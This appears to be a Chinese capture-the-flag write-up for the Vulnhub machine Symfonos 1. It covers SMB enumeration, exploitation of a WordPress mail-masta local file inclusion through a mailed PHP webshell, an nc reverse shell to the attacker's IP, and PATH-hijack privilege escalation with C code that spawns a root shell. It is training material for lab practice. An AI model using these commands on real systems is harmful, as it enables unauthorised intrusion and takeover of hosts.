Vulnhub-靶机-SYMFONOS: 1
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/symfonos-1,322/
使用nmap扫描 nmap -n -p- -sC -sV 192.168.56.106 -o symfonos1.nmap
根据扫描结果发现开放了smb服务模块,那我们使用下面命令进行枚举扫描下
enum4linux -a -o 192.168.56.106 | tee 192.168.56.106.smb
最终的结果会保存在文件192.168.56.106.smb 根据枚举的结果得知两个可以利用的共享文件夹,分别为anonymous和helios
既然知道了共享文件夹,那么在kali环境下使用命令smbclient去访问看看
smbclient -L //192.168.56.106 列举目标的共享文件夹
连接匿名的文件夹anonymous
smbclient //192.168.56.106/anonymous 此处密码为空使用命令enum4linux枚举出来的结果也有体现
查看文件attention.txt得知文件内容存在如下信息
根据上述信息可以知道有一个文件夹存在密码,这密码就有可能是上述提示的3个密码中的一个,所以这里尝试访问另一个文件夹helios,使用上面的3个密码去尝试,最终确认密码是qwerty
smbclient //192.168.56.106/helios -U helios
共享文件夹helios有两个文件,查看这两个文件得到如下结果:
最终得到web目录中含有/h3l105 我们尝试访问目标web应用
点击访问里面的url发现会跳转至一个域名symfonos.local ,鼠标放在上图标注的位置在浏览器的左下角也能看到跳转的域名,那么我们本地绑定hosts
绑定好之后看到目标web页面的最底下Log in跳转页面是wordpress的登录界面,看主题显示信息也觉得是wordpress,逐尝试使用wpscan进行扫描下,看是否存在漏洞
wpscan --url http://symfonos.local/h3l105/
因为本地kali没有注册WPVulnDB 的API,所以无法使用wpscan扫描出对于的漏洞信息,不过我看了下互联网的演示资料提示得知存在LFI漏洞,可以读文件,执行php文件
https://www.exploit-db.com/exploits/40290
https://cxsecurity.com/issue/WLB-2016080220
https://wpvulndb.com/vulnerabilities/8609
LFI漏洞复现
漏洞利用成功,那么可以反弹shell,同时根据上述的结果可以知道目标靶机存在用户helios,现在就是写文件,通过文件包含拿shell,因为刚开始的时候我们使用nmap扫描出来有25端口,有邮件服务器,尝试利用此邮件服务器给用户helios写一封一句话小马shell,具体如下:
上述操作成功之后,尝试文件包含看看,是否执行成功
发现执行成功,然后确认是否存在nc命令,通过执行which nc 确认存在此命令,尝试使用nc反弹shell ,执行如下命令:
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&bmfx=nc -e /bin/bash 192.168.56.101 8833
本地kali监听8833端口,成功反弹shell
拿到反弹shell开始提权看看,使用如下命令查找目标靶机哪些命令存在suid权限
find / -perm -4000 2>/dev/null
最终查到可执行文件/opt/statuscheck 在执行的过程中调用了curl命令,这里可以通过劫持curl命令来达到提权的目的,具体详细跟环境变量提权的信息请查看:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
我这里提权就直接使用提权的代码编译一个名称为curl的命令进行提权,具体代码如下:
int main(void) { setgid(0); setuid(0); execl("/bin/sh","sh",0); }
将上述代码保存为curl.c 然后使用gcc编译器进行编译
在tmp目录下生成好curl命令,那么我们加下全局环境变量
执行/opt/statuscheck 成功提权为root权限
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?